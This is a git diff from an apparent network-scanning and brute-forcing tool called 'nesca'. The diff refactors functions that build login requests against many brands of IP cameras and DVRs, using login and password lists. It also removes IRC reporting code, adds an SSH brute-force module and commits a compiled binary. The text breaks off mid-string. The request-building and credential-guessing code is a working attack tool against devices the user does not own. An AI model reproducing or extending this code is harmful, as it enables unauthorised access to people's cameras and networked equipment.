sizeof(request)); if(strcmp(SPEC, "IPC") == 0) { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, login, pass, pass, ip, port); + } else if(strcmp(SPEC, "GEO") == 0) { - strcpy(request, "GET /Login.cgi?username="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /Login.cgi?username=%s&password=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, ip, port); + } else if(strcmp(SPEC, "EasyCam") == 0) { - strcpy(request, "GET /login.xml?user="); - strcat(request, login); - strcat(request, "&usr="); - strcat(request, login); - strcat(request, "&password="); - strcat(request, pass); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /login.xml?user=%s&usr=%s&password=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, login, pass, pass, ip, port); + } else if(strcmp(SPEC, "Foscam") == 0) { - strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, "&cmd=logIn&usrName="); - strcat(request, login); - strcat(request, "&pwd="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, login, pass, ip, port); + } else if(strcmp(SPEC, "AVIOSYS") == 0) { - strcpy(request, "GET /check_user.html?UserName="); - strcat(request, login); - strcat(request, "&PassWord="); - strcat(request, pass); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - } + sprintf(request, "GET /check_user.html?UserName=%s&PassWord=%s HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, ip, port); + } else if(strcmp(SPEC, "BUFFALO") == 0) - { - strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("user=&password="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; + { + int sz = strlen(login) + strlen(pass) + strlen("user=&password="); + + sprintf(request, "POST /rpc/login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nuser=%s&password=%s", + ip, port, sz, login, pass); + } else if(strcmp(SPEC, "DVS") == 0) - { - strcpy(request, "POST /login HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+"); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "langs=en&user="); - strcat(passString, login); - strcat(passString, "&password="); - strcat(passString, pass); - strcat(passString, "&submit=+Login+"); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; + { + int sz = strlen(login) + strlen(pass) + strlen("langs=en&user=&password=&submit=+Login+"); + + sprintf(request, "POST /login HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nlangs=en&user=%s&password=%s&submit=+Login+", + ip, port, sz, login, pass); } else if(strcmp(SPEC, "IPCAM") == 0) - { - strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); - strcat(request, login); - strcat(request, "&-passwd="); - strcat(request, pass); - strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - + { + sprintf(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n", + login, pass, ip, port); } else if(strcmp(SPEC, "IEORFOREFOX") == 0) { - strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("username=&userpwd="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "username="); - strcat(passString, login); - strcat(passString, "&userpwd="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; + int sz = strlen(login) + strlen(pass) + strlen("username=&userpwd="); + + sprintf(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: %s:%d\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive\r\nContent-Length: %d\r\n\r\nusername=%s&userpwd=%s", + ip, port, sz, login, pass); }; int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); diff --git a/externData.h b/externData.h index c457dd3..51d0b0b 100644 --- a/externData.h +++ b/externData.h @@ -5,7 +5,6 @@ #define RECV_MAX_SIZE 350000 #define REQUEST_MAX_SIZE 4096 #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" -#define IRC_CHAN "iskopasi_lab03" #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; @@ -27,7 +26,7 @@ extern char top_level_domain[128]; extern volatile int cons, BrutingThrds, gThreads; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, - widgetIsHidden, OnlineMsgSentFlag, utfIRCFlag, HTMLDebugMode, gNegDebugMode, + widgetIsHidden, OnlineMsgSentFlag, HTMLDebugMode, gNegDebugMode, gDebugMode, horLineFlag, gPingNScan, gShuffle, BALogSwitched; extern int found, indexIP, gMode, @@ -41,9 +40,8 @@ extern int found, indexIP, gMode, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; extern unsigned int Activity; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], - ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveEndIP[128], - gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], + gRange[128], gFirstDom[128], gPorts[65536], gVER[16], gProxyIP[64], gProxyPort[8], currentIP[MAX_ADDR_LEN], diff --git a/finder.cpp b/finder.cpp index 79a3af8..221658f 100644 --- a/finder.cpp +++ b/finder.cpp @@ -6,6 +6,7 @@ #include "Connector.h" #include "BasicAuth.h" #include "FTPAuth.h" +#include "SSHAuth.h" #include char* strstri(const char *_Str, const char *_SubStr) @@ -489,7 +490,6 @@ char topBuff[1024] = {"
.strange %s :: %s:%s T: %s Pass: %s:%s", hl, ip, port, ip, port, finalstr, lps.login, lps.pass); @@ -1645,11 +1639,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 1) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd); + _specBrute(ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd); } else if(flag == 101) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd); + _specBrute(ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd); } else if(flag == 10) { @@ -1663,7 +1657,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, return flag; } -int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst) +int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst) { if(ls->iterationCount++ == 5) { @@ -2151,33 +2145,11 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int }; } -void _getJSCookie(char *dataBuff, const char *str, char *ip, int port) -{ - char *ptr1 = strstri(str, "document.cookie"); - if(ptr1 != NULL) - { - char *ptr2 = _findFirst(ptr1, "\"'"); - if(ptr2 != NULL) - { - char *ptr3 = _findFirst(ptr2 + 1, "\"'"); - if(ptr3 != NULL) - { - int sz = ptr3 - ptr2 - 1; - if(sz < 1024) strncpy(dataBuff, ptr2 + 1, sz); - else - { - stt->doEmitionRedFoundData("[_getJSCookie] Cookie exceeds max value [" + QString(ip) + ":" + QString::number(port) + "]"); - }; - }; - }; - }; -} - int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector *redirStrLst) { std::string redirectStr = ""; - if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE); - strcpy(ps->codepage, GetCodePage(str)); + + strcpy(ps->codepage, GetCodePage(str)); char finalstr[512] = {0}; if(strstri(str, "notice auth :*** looking up your hostname...") @@ -2279,15 +2251,17 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps }; }; }; + redirectStr = std::string(temp3); if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst); + return redirectReconnect(ip, port, temp3, l, ps, redirStrLst); } return -1; strcat(ps->headr, " "); return -2; }; + strcat(ps->headr, finalstr); strcat(ps->headr, " "); return 0; @@ -2295,13 +2269,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps }; if(strstri(str, "cookie, sizeof(ps->cookie)); - _getJSCookie(ps->cookie, str, ip, port); - }; - + { char *ptr1 = strstri(str, "begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); + redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst); }; }; delete []scriptContainer; @@ -2381,7 +2349,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); + return redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst); } return -1; }; delete []scriptContainer; @@ -2495,7 +2463,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst); + return redirectReconnect(ip, port, lol, l, ps, redirStrLst); }; } else @@ -2565,7 +2533,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps // if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) // { // redirStrLst->push_back(redirStr); - // return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); + // return redirectReconnect(ip, port, redirStr, l, ps, redirStrLst); // } return -1; // } // return -2; diff --git a/irc_nmblinker.cpp b/irc_nmblinker.cpp deleted file mode 100644 index 0391f43..0000000 --- a/irc_nmblinker.cpp +++ /dev/null @@ -1,16 +0,0 @@ -#include "irc_nmblinker.h" -#include "nesca_3.h" - -void IRC_NMBlinker::doEmitBlinkMessage() -{ - emit irc_nmb->sBlinkMessage(); -}; - -void IRC_NMBlinker::run() -{ - while(widgetIsHidden == false && disableBlink == false && tray->isVisible() == false) - { - irc_nmb->doEmitBlinkMessage(); - msleep(500); - }; -}; diff --git a/irc_nmblinker.h b/irc_nmblinker.h deleted file mode 100644 index 180776f..0000000 --- a/irc_nmblinker.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef IRC_NMBLINKER_H -#define IRC_NMBLINKER_H - -#include "nesca_3.h" - -class IRC_NMBlinker : public QThread -{ - Q_OBJECT - -public: - static void doEmitBlinkMessage(); - -public: signals: void sBlinkMessage(); - -protected: - void run(); -}; -extern IRC_NMBlinker *irc_nmb; - -#endif // IRC_NMBLINKER_H diff --git a/main.cpp b/main.cpp index f29faa1..5a6c20c 100644 --- a/main.cpp +++ b/main.cpp @@ -5,6 +5,7 @@ int main(int argc, char *argv[]) { QApplication a(argc, argv); + QStringList list; list << "Eurostile.ttf"; int fontID(-1); diff --git a/mainResources.h b/mainResources.h index baf7e0b..bbb21b5 100644 --- a/mainResources.h +++ b/mainResources.h @@ -2,7 +2,6 @@ #include "base64.h" #include -#include #include #include #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) @@ -151,17 +150,6 @@ class Connector_old public: int _Updater(); - // lopaStr _FTPLobby(char *ip, - // int port, - // PathStr *ps); - - // lopaStr _BALobby(char *cookie, - // char *ip, - // int port, - // char *path, - // char *method, - // char *data); - lopaStr _WFLobby(char *cookie, char *ip, int port, @@ -188,5 +176,3 @@ public: extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC); -//extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); -//extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/nesca b/nesca new file mode 100755 index 0000000..273743a Binary files /dev/null and b/nesca differ diff --git a/nesca.pro b/nesca.pro index 6f76b91..a90a56e 100644 --- a/nesca.pro +++ b/nesca.pro @@ -20,18 +20,14 @@ SOURCES +=\ ActivityDrawerTh_HorNet.cpp \ base64.cpp \ CheckKey_Th.cpp \ - CheckProxy_Th.cpp \ DrawerTh_GridQoSScanner.cpp \ DrawerTh_HorNet.cpp \ DrawerTh_ME2Scanner.cpp \ DrawerTh_QoSScanner.cpp \ DrawerTh_VoiceScanner.cpp \ - irc_nmblinker.cpp \ - IRCPinger_Th.cpp \ msgcheckerthread.cpp \ nesca_3.cpp \ nesca_startModule.cpp \ - oIRC_Th.cpp \ piestat.cpp \ progressbardrawer.cpp \ STh.cpp \ @@ -44,13 +40,13 @@ SOURCES +=\ BruteUtils.cpp \ BasicAuth.cpp \ FTPAuth.cpp \ - Threader.cpp + Threader.cpp \ + SSHAuth.cpp HEADERS += ActivityDrawerTh_HorNet.h \ base64.h \ CheckKey_Th.h \ - CheckProxy_Th.h \ DrawerTh_GridQoSScanner.h \ DrawerTh_HorNet.h \ DrawerTh_ME2Scanner.h \ @@ -58,12 +54,9 @@ HEADERS += ActivityDrawerTh_HorNet.h \ DrawerTh_VoiceScanner.h \ externData.h \ externFunctions.h \ - irc_nmblinker.h \ - IRCPinger_Th.h \ mainResources.h \ msgcheckerthread.h \ nesca_3.h \ - oIRC_Th.h \ piestat.h \ progressbardrawer.h \ resource.h \ @@ -75,7 +68,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \ BasicAuth.h \ BruteUtils.h \ FTPAuth.h \ - Threader.h + Threader.h \ + SSHAuth.h FORMS += nesca_3.ui @@ -86,12 +80,8 @@ OTHER_FILES += \ nesca_3.rc -unix|win32: LIBS += -lssl - unix|win32: LIBS += -lssh unix|win32: LIBS += -lcrypto -unix|win32: LIBS += -lpthread - unix|win32: LIBS += -lcurl diff --git a/nesca_3.cpp b/nesca_3.cpp index 4f9f321..b3bf5bd 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -3,9 +3,6 @@ #include "nesca_3.h" #include "CheckKey_Th.h" #include "DrawerTh_QoSScanner.h" -#include "oIRC_Th.h" -#include "IRCPinger_Th.h" -#include "CheckProxy_Th.h" #include "STh.h" #include "msgcheckerthread.h" #include "vercheckerthread.h" @@ -32,9 +29,7 @@ QDate date = QDate::currentDate(); int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); #define VER 130706 #define WIDGET_WIDTH 500 -//#define IRC_CHAN "iskopasi_lab01" -bool utfIRCFlag = true; bool HTMLDebugMode = false; bool code160 = false; bool gDebugMode = false; @@ -47,7 +42,6 @@ bool smBit_5 = false; bool smBit_6 = false; bool smBit_7 = false; bool smBit_8 = false; -bool debugFileOK = false; bool privateMsgFlag = false; char inputStr[256] = {0}; @@ -63,11 +57,6 @@ int nesca_3::savedTabIndex = 0; bool dFlag = false; bool startFlag = false; bool trackerOK = true; -char ircServer[32] = {0}; -char ircPort[32] = {0}; -char ircProxy[64] = {0}; -char ircProxyPort[8] = {0}; -char ircNick[32] = {0}; char trcPort[32] = {0}; char trcSrvPortLine[32] = {0}; char trcProxy[128] = {0}; @@ -86,18 +75,14 @@ DrawerTh_HorNet *dtHN = new DrawerTh_HorNet(); DrawerTh_ME2Scanner *dtME2 = new DrawerTh_ME2Scanner(); DrawerTh_QoSScanner *dtQoS = new DrawerTh_QoSScanner(); DrawerTh_GridQoSScanner *dtGridQoS = new DrawerTh_GridQoSScanner(); -CheckProxy_Th *chPTh = new CheckProxy_Th(); -IRCPinger_Th *ircPTh = new IRCPinger_Th(); -oIRC_Th *ircTh = new oIRC_Th(); CheckKey_Th *chKTh = new CheckKey_Th(); ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet(); DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner(); -IRC_NMBlinker *irc_nmb = new IRC_NMBlinker(); +//IRC_NMBlinker *irc_nmb = new IRC_NMBlinker(); PieStat *psTh = new PieStat(); ProgressbarDrawer *pbTh = new ProgressbarDrawer(); bool MapWidgetOpened = false; -bool connectedToIRC = false; bool globalScanFlag; float QoSStep = 1; int MaxDataVal = 1; @@ -118,8 +103,6 @@ QSystemTrayIcon *tray; QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); QWidget *qwm; -QString globalIRCText; -QString globalIRCRaw; PopupMsgWidget *msgWdgt; QPen rpen(QColor(255, 0, 0, 190), 0.1, Qt::DotLine); @@ -159,7 +142,6 @@ bool BALogSwitched = false; bool widgetIsHidden = false; bool blinkFlag = false; bool printDelimiter = false; -bool IRCLogToggled = true; int PhraseIndex = 0; QList PhraseLog; bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false; @@ -239,34 +221,6 @@ void setButtonStyleArea() "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" "}" ); - - ui->IRCConnectBut->setStyleSheet( - " #IRCConnectBut {" - "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" - "color: #919191;" - "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 